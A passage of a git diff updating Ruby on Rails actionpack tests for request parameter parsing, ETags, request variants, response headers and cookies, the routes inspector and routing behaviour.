Rack::Utils::InvalidParameterError when parsing this query string - request.parameters - end - end + test "parameters containing an invalid UTF8 character" do + request = stub_request("QUERY_STRING" => "foo=%81E") + assert_raises(ActionController::BadRequest) { request.parameters } + end + + test "parameters containing a deeply nested invalid UTF8 character" do + request = stub_request("QUERY_STRING" => "foo[bar]=%81E") + assert_raises(ActionController::BadRequest) { request.parameters } end test "parameters not accessible after rack parse error 1" do @@ -970,8 +1068,8 @@ class RequestParameters < BaseRequestTest request.parameters end - assert e.original_exception - assert_equal e.original_exception.backtrace, e.backtrace + assert_not_nil e.cause + assert_equal e.cause.backtrace, e.backtrace end end @@ -985,6 +1083,7 @@ class RequestParameterFilter < BaseRequestTest [{'foo'=>'bar', 'baz'=>'foo'},{'foo'=>'[FILTERED]', 'baz'=>'[FILTERED]'},%w'foo baz'], [{'bar'=>{'foo'=>'bar','bar'=>'foo'}},{'bar'=>{'foo'=>'[FILTERED]','bar'=>'foo'}},%w'fo'], [{'foo'=>{'foo'=>'bar','bar'=>'foo'}},{'foo'=>'[FILTERED]'},%w'f banana'], + [{'deep'=>{'cc'=>{'code'=>'bar','bar'=>'foo'},'ss'=>{'code'=>'bar'}}},{'deep'=>{'cc'=>{'code'=>'[FILTERED]','bar'=>'foo'},'ss'=>{'code'=>'bar'}}},%w'deep.cc.code'], [{'baz'=>[{'foo'=>'baz'}, "1"]}, {'baz'=>[{'foo'=>'[FILTERED]'}, "1"]}, [/foo/]]] test_hashes.each do |before_filter, after_filter, filter_words| @@ -1084,36 +1183,41 @@ class RequestParameterFilter < BaseRequestTest end class RequestEtag < BaseRequestTest - test "if_none_match_etags none" do + test "always matches *" do + request = stub_request('HTTP_IF_NONE_MATCH' => '*') + + assert_equal '*', request.if_none_match + assert_equal ['*'], request.if_none_match_etags + + assert request.etag_matches?('"strong"') + assert request.etag_matches?('W/"weak"') + assert_not request.etag_matches?(nil) + end + + test "doesn't match absent If-None-Match" do request = stub_request assert_equal nil, request.if_none_match assert_equal [], request.if_none_match_etags - assert !request.etag_matches?("foo") - assert !request.etag_matches?(nil) - end - test "if_none_match_etags single" do - header = 'the-etag' - request = stub_request('HTTP_IF_NONE_MATCH' => header) - - assert_equal header, request.if_none_match - assert_equal [header], request.if_none_match_etags - assert request.etag_matches?("the-etag") + assert_not request.etag_matches?("foo") + assert_not request.etag_matches?(nil) end - test "if_none_match_etags quoted single" do + test "matches opaque ETag validators without unquoting" do header = '"the-etag"' request = stub_request('HTTP_IF_NONE_MATCH' => header) assert_equal header, request.if_none_match - assert_equal ['the-etag'], request.if_none_match_etags - assert request.etag_matches?("the-etag") + assert_equal ['"the-etag"'], request.if_none_match_etags + + assert request.etag_matches?('"the-etag"') + assert_not request.etag_matches?("the-etag") end test "if_none_match_etags multiple" do header = 'etag1, etag2, "third etag", "etag4"' - expected = ['etag1', 'etag2', 'third etag', 'etag4'] + expected = ['etag1', 'etag2', '"third etag"', '"etag4"'] request = stub_request('HTTP_IF_NONE_MATCH' => header) assert_equal header, request.if_none_match @@ -1125,35 +1229,67 @@ class RequestEtag < BaseRequestTest end class RequestVariant < BaseRequestTest - test "setting variant" do - request = stub_request + def setup + super + @request = stub_request + end - request.variant = :mobile - assert_equal [:mobile], request.variant + test 'setting variant to a symbol' do + @request.variant = :phone - request.variant = [:phone, :tablet] - assert_equal [:phone, :tablet], request.variant + assert @request.variant.phone? + assert_not @request.variant.tablet? + assert @request.variant.any?(:phone, :tablet) + assert_not @request.variant.any?(:tablet, :desktop) + end + + test 'setting variant to an array of symbols' do + @request.variant = [:phone, :tablet] + + assert @request.variant.phone? + assert @request.variant.tablet? + assert_not @request.variant.desktop? + assert @request.variant.any?(:tablet, :desktop) + assert_not @request.variant.any?(:desktop, :watch) + end + + test 'clearing variant' do + @request.variant = nil + assert @request.variant.empty? + assert_not @request.variant.phone? + assert_not @request.variant.any?(:phone, :tablet) + end + + test 'setting variant to a non-symbol value' do assert_raise ArgumentError do - request.variant = [:phone, "tablet"] + @request.variant = 'phone' end + end + test 'setting variant to an array containing a non-symbol value' do assert_raise ArgumentError do - request.variant = "yolo" + @request.variant = [:phone, 'tablet'] end end +end - test "reset variant" do - request = stub_request +class RequestFormData < BaseRequestTest + test 'media_type is from the FORM_DATA_MEDIA_TYPES array' do + assert stub_request('CONTENT_TYPE' => 'application/x-www-form-urlencoded').form_data? + assert stub_request('CONTENT_TYPE' => 'multipart/form-data').form_data? + end - request.variant = nil - assert_equal nil, request.variant + test 'media_type is not from the FORM_DATA_MEDIA_TYPES array' do + assert !stub_request('CONTENT_TYPE' => 'application/xml').form_data? + assert !stub_request('CONTENT_TYPE' => 'multipart/related').form_data? end - test "setting variant with non symbol value" do - request = stub_request - assert_raise ArgumentError do - request.variant = "mobile" - end + test 'no Content-Type header is provided and the request_method is POST' do + request = stub_request('REQUEST_METHOD' => 'POST') + + assert_equal '', request.media_type + assert_equal 'POST', request.request_method + assert !request.form_data? end end diff --git a/actionpack/test/dispatch/response_test.rb b/actionpack/test/dispatch/response_test.rb index 5fbd19acdf..aa90433505 100644 --- a/actionpack/test/dispatch/response_test.rb +++ b/actionpack/test/dispatch/response_test.rb @@ -4,7 +4,8 @@ require 'rack/content_length' class ResponseTest < ActiveSupport::TestCase def setup - @response = ActionDispatch::Response.new + @response = ActionDispatch::Response.create + @response.request = ActionDispatch::Request.empty end def test_can_wait_until_commit @@ -36,12 +37,79 @@ class ResponseTest < ActiveSupport::TestCase assert_equal "closed stream", e.message end + def test_each_isnt_called_if_str_body_is_written + # Controller writes and reads response body + each_counter = 0 + @response.body = Object.new.tap {|o| o.singleton_class.send(:define_method, :each) { |&block| each_counter += 1; block.call 'foo' } } + @response['X-Foo'] = @response.body + + assert_equal 1, each_counter, "#each was not called once" + + # Build response + status, headers, body = @response.to_a + + assert_equal 200, status + assert_equal "foo", headers['X-Foo'] + assert_equal "foo", body.each.to_a.join + + # Show that #each was not called twice + assert_equal 1, each_counter, "#each was not called once" + end + + def test_set_header_after_read_body_during_action + @response.body + + # set header after the action reads back @response.body + @response['x-header'] = "Best of all possible worlds." + + # the response can be built. + status, headers, body = @response.to_a + assert_equal 200, status + assert_equal "", body.body + + assert_equal "Best of all possible worlds.", headers['x-header'] + end + + def test_read_body_during_action + @response.body = "Hello, World!" + + # even though there's no explicitly set content-type, + assert_equal nil, @response.content_type + + # after the action reads back @response.body, + assert_equal "Hello, World!", @response.body + + # the response can be built. + status, headers, body = @response.to_a + assert_equal 200, status + assert_equal({ + "Content-Type" => "text/html; charset=utf-8" + }, headers) + + parts = [] + body.each { |part| parts << part } + assert_equal ["Hello, World!"], parts + end + def test_response_body_encoding body = ["hello".encode(Encoding::UTF_8)] response = ActionDispatch::Response.new 200, {}, body + response.request = ActionDispatch::Request.empty assert_equal Encoding::UTF_8, response.body.encoding end + def test_response_charset_writer + @response.charset = 'utf-16' + assert_equal 'utf-16', @response.charset + @response.charset = nil + assert_equal 'utf-8', @response.charset + end + + def test_setting_content_type_header_impacts_content_type_method + @response.headers['Content-Type'] = "application/aaron" + assert_equal 'application/aaron', @response.content_type + end + test "simple output" do @response.body = "Hello, World!" @@ -60,6 +128,13 @@ class ResponseTest < ActiveSupport::TestCase assert_equal 200, ActionDispatch::Response.new('200 OK').status end + def test_only_set_charset_still_defaults_to_text_html + response = ActionDispatch::Response.new + response.charset = "utf-16" + _,headers,_ = response.to_a + assert_equal "text/html; charset=utf-16", headers['Content-Type'] + end + test "utf8 output" do @response.body = [1090, 1077, 1089, 1090].pack("U*") @@ -72,12 +147,14 @@ class ResponseTest < ActiveSupport::TestCase test "content type" do [204, 304].each do |c| + @response = ActionDispatch::Response.new @response.status = c.to_s _, headers, _ = @response.to_a assert !headers.has_key?("Content-Type"), "#{c} should not have Content-Type header" end [200, 302, 404, 500].each do |c| + @response = ActionDispatch::Response.new @response.status = c.to_s _, headers, _ = @response.to_a assert headers.has_key?("Content-Type"), "#{c} did not have Content-Type header" @@ -125,21 +202,27 @@ class ResponseTest < ActiveSupport::TestCase test "cookies" do @response.set_cookie("user_name", :value => "david", :path => "/") - status, headers, body = @response.to_a + _status, headers, _body = @response.to_a assert_equal "user_name=david; path=/", headers["Set-Cookie"] assert_equal({"user_name" => "david"}, @response.cookies) + end + test "multiple cookies" do + @response.set_cookie("user_name", :value => "david", :path => "/") @response.set_cookie("login", :value => "foo&bar", :path => "/", :expires => Time.utc(2005, 10, 10,5)) - status, headers, body = @response.to_a + _status, headers, _body = @response.to_a assert_equal "user_name=david; path=/\nlogin=foo%26bar; path=/; expires=Mon, 10 Oct 2005 05:00:00 -0000", headers["Set-Cookie"] assert_equal({"login" => "foo&bar", "user_name" => "david"}, @response.cookies) + end + test "delete cookies" do + @response.set_cookie("user_name", :value => "david", :path => "/") + @response.set_cookie("login", :value => "foo&bar", :path => "/", :expires => Time.utc(2005, 10, 10,5)) @response.delete_cookie("login") - status, headers, body = @response.to_a assert_equal({"user_name" => "david", "login" => nil}, @response.cookies) end - test "read cache control" do + test "read ETag and Cache-Control" do resp = ActionDispatch::Response.new.tap { |response| response.cache_control[:public] = true response.etag = '123' @@ -147,28 +230,55 @@ class ResponseTest < ActiveSupport::TestCase } resp.to_a - assert_equal('"202cb962ac59075b964b07152d234b70"', resp.etag) + assert resp.etag? + assert resp.weak_etag? + assert_not resp.strong_etag? + assert_equal('W/"202cb962ac59075b964b07152d234b70"', resp.etag) assert_equal({:public => true}, resp.cache_control) assert_equal('public', resp.headers['Cache-Control']) - assert_equal('"202cb962ac59075b964b07152d234b70"', resp.headers['ETag']) + assert_equal('W/"202cb962ac59075b964b07152d234b70"', resp.headers['ETag']) + end + + test "read strong ETag" do + resp = ActionDispatch::Response.new.tap { |response| + response.cache_control[:public] = true + response.strong_etag = '123' + response.body = 'Hello' + } + resp.to_a + + assert resp.etag? + assert_not resp.weak_etag? + assert resp.strong_etag? + assert_equal('"202cb962ac59075b964b07152d234b70"', resp.etag) end test "read charset and content type" do resp = ActionDispatch::Response.new.tap { |response| response.charset = 'utf-16' - response.content_type = Mime::XML + response.content_type = Mime[:xml] response.body = 'Hello' } resp.to_a assert_equal('utf-16', resp.charset) - assert_equal(Mime::XML, resp.content_type) + assert_equal(Mime[:xml], resp.content_type) assert_equal('application/xml; charset=utf-16', resp.headers['Content-Type']) end - test "read content type without charset" do + test "read content type with default charset utf-8" do + original = ActionDispatch::Response.default_charset + begin + resp = ActionDispatch::Response.new(200, { "Content-Type" => "text/xml" }) + assert_equal('utf-8', resp.charset) + ensure + ActionDispatch::Response.default_charset = original + end + end + + test "read content type with charset utf-16" do original = ActionDispatch::Response.default_charset begin ActionDispatch::Response.default_charset = 'utf-16' @@ -187,7 +297,7 @@ class ResponseTest < ActiveSupport::TestCase 'X-Content-Type-Options' => 'nosniff', 'X-XSS-Protection' => '1;' } - resp = ActionDispatch::Response.new.tap { |response| + resp = ActionDispatch::Response.create.tap { |response| response.body = 'Hello' } resp.to_a @@ -206,7 +316,7 @@ class ResponseTest < ActiveSupport::TestCase ActionDispatch::Response.default_headers = { 'X-XX-XXXX' => 'Here is my phone number' } - resp = ActionDispatch::Response.new.tap { |response| + resp = ActionDispatch::Response.create.tap { |response| response.body = 'Hello' } resp.to_a @@ -224,6 +334,7 @@ class ResponseTest < ActiveSupport::TestCase test "can be explicitly destructured into status, headers and an enumerable body" do response = ActionDispatch::Response.new(404, { 'Content-Type' => 'text/plain' }, ['Not Found']) + response.request = ActionDispatch::Request.empty status, headers, body = *response assert_equal 404, status @@ -253,6 +364,65 @@ class ResponseTest < ActiveSupport::TestCase end end +class ResponseHeadersTest < ActiveSupport::TestCase + def setup + @response = ActionDispatch::Response.create + @response.set_header 'Foo', '1' + end + + test 'has_header?' do + assert @response.has_header? 'Foo' + assert_not @response.has_header? 'foo' + assert_not @response.has_header? nil + end + + test 'get_header' do + assert_equal '1', @response.get_header('Foo') + assert_nil @response.get_header('foo') + assert_nil @response.get_header(nil) + end + + test 'set_header' do + assert_equal '2', @response.set_header('Foo', '2') + assert @response.has_header?('Foo') + assert_equal '2', @response.get_header('Foo') + + assert_nil @response.set_header('Foo', nil) + assert @response.has_header?('Foo') + assert_nil @response.get_header('Foo') + end + + test 'delete_header' do + assert_nil @response.delete_header(nil) + + assert_nil @response.delete_header('foo') + assert @response.has_header?('Foo') + + assert_equal '1', @response.delete_header('Foo') + assert_not @response.has_header?('Foo') + end + + test 'add_header' do + # Add a value to an existing header + assert_equal '1,2', @response.add_header('Foo', '2') + assert_equal '1,2', @response.get_header('Foo') + + # Add nil to an existing header + assert_equal '1,2', @response.add_header('Foo', nil) + assert_equal '1,2', @response.get_header('Foo') + + # Add nil to a nonexistent header + assert_nil @response.add_header('Bar', nil) + assert_not @response.has_header?('Bar') + assert_nil @response.get_header('Bar') + + # Add a value to a nonexistent header + assert_equal '1', @response.add_header('Bar', '1') + assert @response.has_header?('Bar') + assert_equal '1', @response.get_header('Bar') + end +end + class ResponseIntegrationTest < ActionDispatch::IntegrationTest test "response cache control from railsish app" do @app = lambda { |env| @@ -260,6 +430,7 @@ class ResponseIntegrationTest < ActionDispatch::IntegrationTest resp.cache_control[:public] = true resp.etag = '123' resp.body = 'Hello' + resp.request = ActionDispatch::Request.empty }.to_a } @@ -267,16 +438,16 @@ class ResponseIntegrationTest < ActionDispatch::IntegrationTest assert_response :success assert_equal('public', @response.headers['Cache-Control']) - assert_equal('"202cb962ac59075b964b07152d234b70"', @response.headers['ETag']) + assert_equal('W/"202cb962ac59075b964b07152d234b70"', @response.headers['ETag']) - assert_equal('"202cb962ac59075b964b07152d234b70"', @response.etag) + assert_equal('W/"202cb962ac59075b964b07152d234b70"', @response.etag) assert_equal({:public => true}, @response.cache_control) end test "response cache control from rackish app" do @app = lambda { |env| [200, - {'ETag' => '"202cb962ac59075b964b07152d234b70"', + {'ETag' => 'W/"202cb962ac59075b964b07152d234b70"', 'Cache-Control' => 'public'}, ['Hello']] } @@ -284,9 +455,9 @@ class ResponseIntegrationTest < ActionDispatch::IntegrationTest assert_response :success assert_equal('public', @response.headers['Cache-Control']) - assert_equal('"202cb962ac59075b964b07152d234b70"', @response.headers['ETag']) + assert_equal('W/"202cb962ac59075b964b07152d234b70"', @response.headers['ETag']) - assert_equal('"202cb962ac59075b964b07152d234b70"', @response.etag) + assert_equal('W/"202cb962ac59075b964b07152d234b70"', @response.etag) assert_equal({:public => true}, @response.cache_control) end @@ -294,8 +465,9 @@ class ResponseIntegrationTest < ActionDispatch::IntegrationTest @app = lambda { |env| ActionDispatch::Response.new.tap { |resp| resp.charset = 'utf-16' - resp.content_type = Mime::XML + resp.content_type = Mime[:xml] resp.body = 'Hello' + resp.request = ActionDispatch::Request.empty }.to_a } @@ -303,7 +475,7 @@ class ResponseIntegrationTest < ActionDispatch::IntegrationTest assert_response :success assert_equal('utf-16', @response.charset) - assert_equal(Mime::XML, @response.content_type) + assert_equal(Mime[:xml], @response.content_type) assert_equal('application/xml; charset=utf-16', @response.headers['Content-Type']) end @@ -319,8 +491,24 @@ class ResponseIntegrationTest < ActionDispatch::IntegrationTest assert_response :success assert_equal('utf-16', @response.charset) - assert_equal(Mime::XML, @response.content_type) + assert_equal(Mime[:xml], @response.content_type) assert_equal('application/xml; charset=utf-16', @response.headers['Content-Type']) end + + test "strong ETag validator" do + @app = lambda { |env| + ActionDispatch::Response.new.tap { |resp| + resp.strong_etag = '123' + resp.body = 'Hello' + resp.request = ActionDispatch::Request.empty + }.to_a + } + + get '/' + assert_response :ok + + assert_equal('"202cb962ac59075b964b07152d234b70"', @response.headers['ETag']) + assert_equal('"202cb962ac59075b964b07152d234b70"', @response.etag) + end end diff --git a/actionpack/test/dispatch/routing/inspector_test.rb b/actionpack/test/dispatch/routing/inspector_test.rb index 3df022c64b..5aafcb23c2 100644 --- a/actionpack/test/dispatch/routing/inspector_test.rb +++ b/actionpack/test/dispatch/routing/inspector_test.rb @@ -7,23 +7,20 @@ class MountedRackApp end end +class Rails::DummyController +end + module ActionDispatch module Routing class RoutesInspectorTest < ActiveSupport::TestCase def setup @set = ActionDispatch::Routing::RouteSet.new - app = ActiveSupport::OrderedOptions.new - app.config = ActiveSupport::OrderedOptions.new - app.config.assets = ActiveSupport::OrderedOptions.new - app.config.assets.prefix = '/sprockets' - Rails.stubs(:application).returns(app) - Rails.stubs(:env).returns("development") end - def draw(options = {}, &block) + def draw(options = nil, &block) @set.draw(&block) inspector = ActionDispatch::Routing::RoutesInspector.new(@set.routes) - inspector.format(ActionDispatch::Routing::ConsoleFormatter.new, options[:filter]).split("\n") + inspector.format(ActionDispatch::Routing::ConsoleFormatter.new, options).split("\n") end def test_displaying_routes_for_engines @@ -83,6 +80,17 @@ module ActionDispatch ], output end + def test_articles_inspect_with_multiple_verbs + output = draw do + match 'articles/:id', to: 'articles#update', via: [:put, :patch] + end + + assert_equal [ + "Prefix Verb URI Pattern Controller#Action", + " PUT|PATCH /articles/:id(.:format) articles#update" + ], output + end + def test_inspect_shows_custom_assets output = draw do get '/custom/assets', :to => 'custom_assets#show' @@ -125,7 +133,9 @@ module ActionDispatch def test_inspect_routes_shows_dynamic_action_route output = draw do - get 'api/:action' => 'api' + ActiveSupport::Deprecation.silence do + get 'api/:action' => 'api' + end end assert_equal [ @@ -136,7 +146,9 @@ module ActionDispatch def test_inspect_routes_shows_controller_and_action_only_route output = draw do - get ':controller/:action' + ActiveSupport::Deprecation.silence do + get ':controller/:action' + end end assert_equal [ @@ -147,7 +159,9 @@ module ActionDispatch def test_inspect_routes_shows_controller_and_action_route_with_constraints output = draw do - get ':controller(/:action(/:id))', :id => /\d+/ + ActiveSupport::Deprecation.silence do + get ':controller(/:action(/:id))', :id => /\d+/ + end end assert_equal [ @@ -156,7 +170,7 @@ module ActionDispatch ], output end - def test_rake_routes_shows_route_with_defaults + def test_rails_routes_shows_route_with_defaults output = draw do get 'photos/:id' => 'photos#show', :defaults => {:format => 'jpg'} end @@ -167,7 +181,7 @@ module ActionDispatch ], output end - def test_rake_routes_shows_route_with_constraints + def test_rails_routes_shows_route_with_constraints output = draw do get 'photos/:id' => 'photos#show', :id => /[A-Z]\d{5}/ end @@ -178,7 +192,7 @@ module ActionDispatch ], output end - def test_rake_routes_shows_routes_with_dashes + def test_rails_routes_shows_routes_with_dashes output = draw do get 'about-us' => 'pages#about_us' get 'our-work/latest' @@ -201,7 +215,7 @@ module ActionDispatch ], output end - def test_rake_routes_shows_route_with_rack_app + def test_rails_routes_shows_route_with_rack_app output = draw do get 'foo/:id' => MountedRackApp, :id => /[A-Z]\d{5}/ end @@ -212,7 +226,7 @@ module ActionDispatch ], output end - def test_rake_routes_shows_named_route_with_mounted_rack_app + def test_rails_routes_shows_named_route_with_mounted_rack_app output = draw do mount MountedRackApp => '/foo' end @@ -223,7 +237,7 @@ module ActionDispatch ], output end - def test_rake_routes_shows_overridden_named_route_with_mounted_rack_app_with_name + def test_rails_routes_shows_overridden_named_route_with_mounted_rack_app_with_name output = draw do mount MountedRackApp => '/foo', as: 'blog' end @@ -234,7 +248,7 @@ module ActionDispatch ], output end - def test_rake_routes_shows_route_with_rack_app_nested_with_dynamic_constraints + def test_rails_routes_shows_route_with_rack_app_nested_with_dynamic_constraints constraint = Class.new do def inspect "( my custom constraint )" @@ -253,7 +267,7 @@ module ActionDispatch ], output end - def test_rake_routes_dont_show_app_mounted_in_assets_prefix + def test_rails_routes_dont_show_app_mounted_in_assets_prefix output = draw do get '/sprockets' => MountedRackApp end @@ -261,7 +275,7 @@ module ActionDispatch assert_no_match(/\/sprockets/, output.first) end - def test_rake_routes_shows_route_defined_in_under_assets_prefix + def test_rails_routes_shows_route_defined_in_under_assets_prefix output = draw do scope '/sprockets' do get '/foo' => 'foo#bar' @@ -289,7 +303,7 @@ module ActionDispatch end def test_routes_can_be_filtered - output = draw(filter: 'posts') do + output = draw('posts') do resources :articles resources :posts end @@ -305,14 +319,107 @@ module ActionDispatch " DELETE /posts/:id(.:format) posts#destroy"], output end + def test_routes_can_be_filtered_with_namespaced_controllers + output = draw('admin/posts') do + resources :articles + namespace :admin do + resources :posts + end + end + + assert_equal [" Prefix Verb URI Pattern Controller#Action", + " admin_posts GET /admin/posts(.:format) admin/posts#index", + " POST /admin/posts(.:format) admin/posts#create", + " new_admin_post GET /admin/posts/new(.:format) admin/posts#new", + "edit_admin_post GET /admin/posts/:id/edit(.:format) admin/posts#edit", + " admin_post GET /admin/posts/:id(.:format) admin/posts#show", + " PATCH /admin/posts/:id(.:format) admin/posts#update", + " PUT /admin/posts/:id(.:format) admin/posts#update", + " DELETE /admin/posts/:id(.:format) admin/posts#destroy"], output + end + + def test_regression_route_with_controller_regexp output = draw do - get ':controller(/:action)', controller: /api\/[^\/]+/, format: false + ActiveSupport::Deprecation.silence do + get ':controller(/:action)', controller: /api\/[^\/]+/, format: false + end end assert_equal ["Prefix Verb URI Pattern Controller#Action", - " GET /:controller(/:action) (?-mix:api\\/[^\\/]+)#:action"], output + " GET /:controller(/:action) :controller#:action"], output + end + + def test_inspect_routes_shows_resources_route_when_assets_disabled + @set = ActionDispatch::Routing::RouteSet.new + + output = draw do + get '/cart', to: 'cart#show' + end + + assert_equal [ + "Prefix Verb URI Pattern Controller#Action", + " cart GET /cart(.:format) cart#show" + ], output + end + + def test_routes_with_undefined_filter + output = draw(controller: 'Rails::MissingController') do + get 'photos/:id' => 'photos#show', :id => /[A-Z]\d{5}/ + end + + assert_equal [ + "No routes were found for this controller", + "For more information about routes, see the Rails guide: http://guides.rubyonrails.org/routing.html." + ], output + end + + def test_no_routes_matched_filter + output = draw('rails/dummy') do + get 'photos/:id' => 'photos#show', :id => /[A-Z]\d{5}/ + end + + assert_equal [ + "No routes were found for this controller", + "For more information about routes, see the Rails guide: http://guides.rubyonrails.org/routing.html." + ], output end + + def test_no_routes_were_defined + output = draw('Rails::DummyController') {} + + assert_equal [ + "You don't have any routes defined!", + "", + "Please add some routes in config/routes.rb.", + "", + "For more information about routes, see the Rails guide: http://guides.rubyonrails.org/routing.html." + ], output + end + + def test_displaying_routes_for_internal_engines + engine = Class.new(Rails::Engine) do + def self.inspect + "Blog::Engine" + end + end + engine.routes.draw do + get '/cart', to: 'cart#show' + post '/cart', to: 'cart#create' + patch '/cart', to: 'cart#update' + end + + output = draw do + get '/custom/assets', to: 'custom_assets#show' + mount engine => "/blog", as: "blog", internal: true + end + + assert_equal [ + " Prefix Verb URI Pattern Controller#Action", + "custom_assets GET /custom/assets(.:format) custom_assets#show", + ], output + end + end end end diff --git a/actionpack/test/dispatch/routing/ipv6_redirect_test.rb b/actionpack/test/dispatch/routing/ipv6_redirect_test.rb new file mode 100644 index 0000000000..f1b2e8cfc7 --- /dev/null +++ b/actionpack/test/dispatch/routing/ipv6_redirect_test.rb @@ -0,0 +1,45 @@ +require 'abstract_unit' + +class IPv6IntegrationTest < ActionDispatch::IntegrationTest + Routes = ActionDispatch::Routing::RouteSet.new + include Routes.url_helpers + + class ::BadRouteRequestController < ActionController::Base + include Routes.url_helpers + def index + render :text => foo_path + end + + def foo + redirect_to :action => :index + end + end + + Routes.draw do + get "/", :to => 'bad_route_request#index', :as => :index + get "/foo", :to => "bad_route_request#foo", :as => :foo + end + + def _routes + Routes + end + + APP = build_app Routes + def app + APP + end + + test "bad IPv6 redirection" do + # def test_simple_redirect + request_env = { + 'REMOTE_ADDR' => 'fd07:2fa:6cff:2112:225:90ff:fec7:22aa', + 'HTTP_HOST' => '[fd07:2fa:6cff:2112:225:90ff:fec7:22aa]:3000', + 'SERVER_NAME' => '[fd07:2fa:6cff:2112:225:90ff:fec7:22aa]', + 'SERVER_PORT' => 3000 } + + get '/foo', env: request_env + assert_response :redirect + assert_equal 'http://[fd07:2fa:6cff:2112:225:90ff:fec7:22aa]:3000/', redirect_to_url + end + +end diff --git a/actionpack/test/dispatch/routing/route_set_test.rb b/actionpack/test/dispatch/routing/route_set_test.rb index fe52c50336..9327fe12c6 100644 --- a/actionpack/test/dispatch/routing/route_set_test.rb +++ b/actionpack/test/dispatch/routing/route_set_test.rb @@ -17,6 +17,16 @@ module ActionDispatch @set = RouteSet.new end + test "not being empty when route is added" do + assert empty? + + draw do + get 'foo', to: SimpleApp.new('foo#index') + end + + assert_not empty? + end + test "url helpers are added when route is added" do draw do get 'foo', to: SimpleApp.new('foo#index') @@ -136,6 +146,10 @@ module ActionDispatch def url_helpers @set.url_helpers end + + def empty? + @set.empty? + end end end end diff --git a/actionpack/test/dispatch/routing_test.rb b/actionpack/test/dispatch/routing_test.rb index 55fc160ac8..ade4b0c381 100644 --- a/actionpack/test/dispatch/routing_test.rb +++ b/actionpack/test/dispatch/routing_test.rb @@ -1,4 +1,3 @@ -# encoding: UTF-8 require 'erb' require 'abstract_unit' require 'controller/fake_controllers' @@ -117,7 +116,9 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest assert_raise(ArgumentError) do draw do namespace :admin do - get '/:controller(/:action(/:id(.:format)))' + ActiveSupport::Deprecation.silence do + get '/:controller(/:action(/:id(.:format)))' + end end end end @@ -126,7 +127,9 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest def test_namespace_without_controller_segment draw do namespace :admin do - get 'hello/:controllers/:action' + ActiveSupport::Deprecation.silence do + get 'hello/:controllers/:action' + end end end get '/admin/hello/foo/new' @@ -167,6 +170,44 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest assert_equal '/session/reset', reset_session_path end + def test_session_singleton_resource_for_api_app + config = ActionDispatch::Routing::RouteSet::Config.new + config.api_only = true + + self.class.stub_controllers(config) do |routes| + routes.draw do + resource :session do + get :create + post :reset + end + end + @app = RoutedRackApp.new routes + end + + get '/session' + assert_equal 'sessions#create', @response.body + assert_equal '/session', session_path + + post '/session' + assert_equal 'sessions#create', @response.body + + put '/session' + assert_equal 'sessions#update', @response.body + + delete '/session' + assert_equal 'sessions#destroy', @response.body + + post '/session/reset' + assert_equal 'sessions#reset', @response.body + assert_equal '/session/reset', reset_session_path + + get '/session/new' + assert_equal 'Not Found', @response.body + + get '/session/edit' + assert_equal 'Not Found', @response.body + end + def test_session_info_nested_singleton_resource draw do resource :session do @@ -323,9 +364,12 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest end def test_pagemarks + tc = self draw do scope "pagemark", :controller => "pagemarks", :as => :pagemark do - get "new", :path => "build" + tc.assert_deprecated do + get "new", :path => "build" + end post "create", :as => "" put "update" get "remove", :action => :destroy, :as => :remove @@ -387,7 +431,10 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest get 'global/hide_notice' get 'global/export', :action => :export, :as => :export_request get '/export/:id/:file', :action => :export, :as => :export_download, :constraints => { :file => /.*/ } - get 'global/:action' + + ActiveSupport::Deprecation.silence do + get 'global/:action' + end end end @@ -410,7 +457,9 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest def test_local draw do - get "/local/:action", :controller => "local" + ActiveSupport::Deprecation.silence do + get "/local/:action", :controller => "local" + end end get '/local/dashboard' @@ -509,6 +558,40 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest assert_equal '/projects/1/edit', edit_project_path(:id => '1') end + def test_projects_for_api_app + config = ActionDispatch::Routing::RouteSet::Config.new + config.api_only = true + + self.class.stub_controllers(config) do |routes| + routes.draw do + resources :projects, controller: :project + end + @app = RoutedRackApp.new routes + end + + get '/projects' + assert_equal 'project#index', @response.body + assert_equal '/projects', projects_path + + post '/projects' + assert_equal 'project#create', @response.body + + get '/projects.xml' + assert_equal 'project#index', @response.body + assert_equal '/projects.xml', projects_path(format: 'xml') + + get '/projects/1' + assert_equal 'project#show', @response.body + assert_equal '/projects/1', project_path(id: '1') + + get '/projects/1.xml' + assert_equal 'project#show', @response.body + assert_equal '/projects/1.xml', project_path(id: '1', format: 'xml') + + get '/projects/1/edit' + assert_equal 'Not Found', @response.body + end + def test_projects_with_post_action_and_new_path_on_collection draw do resources :projects, :controller => :project do @@ -1432,7 +1515,9 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest def test_not_matching_shorthand_with_dynamic_parameters draw do - get ':controller/:action/admin' + ActiveSupport::Deprecation.silence do + get ':controller/:action/admin' + end end get '/finances/overview/admin' @@ -1468,7 +1553,9 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest def test_scoped_controller_with_namespace_and_action draw do namespace :account do - get ':action/callback', :action => /twitter|github/, :controller => "callbacks", :as => :callback + ActiveSupport::Deprecation.silence do + get ':action/callback', :action => /twitter|github/, :controller => "callbacks", :as => :callback + end end end @@ -1763,7 +1850,9 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest def test_url_generator_for_generic_route draw do - get "whatever/:controller(/:action(/:id))" + ActiveSupport::Deprecation.silence do + get "whatever/:controller(/:action(/:id))" + end end get '/whatever/foo/bar' @@ -1775,7 +1864,9 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest def test_url_generator_for_namespaced_generic_route draw do - get "whatever/:controller(/:action(/:id))", :id => /\d+/ + ActiveSupport::Deprecation.silence do + get "whatever/:controller(/:action(/:id))", :id => /\d+/ + end end get '/whatever/foo/bar/show' @@ -3051,12 +3142,6 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest end assert_raise(ArgumentError) do - assert_deprecated do - draw { controller("/feeds") { get '/feeds/:service', :to => :show } } - end - end - - assert_raise(ArgumentError) do draw { resources :feeds, :controller => '/feeds' } end end @@ -3492,12 +3577,11 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest mount lambda { |env| [200, {}, [env['REQUEST_METHOD']]] }, at: '/' end - # TODO: HEAD request should match `get /home` rather than the + # HEAD request should match `get /home` rather than the # lower-precedence Rack app mounted at `/`. head '/home' assert_response :ok - #assert_equal 'test#index', @response.body - assert_equal 'HEAD', @response.body + assert_equal 